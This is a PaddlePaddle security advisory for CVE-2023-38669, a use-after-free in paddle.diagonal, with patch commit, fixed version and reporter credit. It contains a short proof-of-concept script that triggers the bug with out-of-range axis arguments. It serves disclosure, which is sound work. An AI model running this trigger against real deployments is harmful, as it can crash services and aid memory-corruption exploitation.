## PDSA-2023-001: Use after free in paddle.diagonal

### CVE Number

CVE-2023-38669

### Impact

Use after free in `paddle.diagonal`. The PoC is as follows:

```python
import paddle
import numpy as np
from paddle import diagonal

x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 1, 1, 1]).astype(np.int64))
offset = paddle.to_tensor(np.random.uniform(-10, 0, []).astype(np.int32))
axis1 = paddle.to_tensor(np.random.uniform(-1000000, 0, []).astype(np.int32))
axis2 = paddle.to_tensor(np.random.uniform(-10000000, 0, []).astype(np.int32))

diagonal(x, offset, axis1, axis2)
```

### Patches

We have patched the issue in commit [43981874f5e1683b855eab871092fa9be58d6a44](https://github.com/PaddlePaddle/Paddle/commit/43981874f5e1683b855eab871092fa9be58d6a44).
The fix will be included in PaddlePaddle 2.5.0.

### For more information

Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution

This vulnerability has been reported by Tong Liu of ShanghaiTech University.
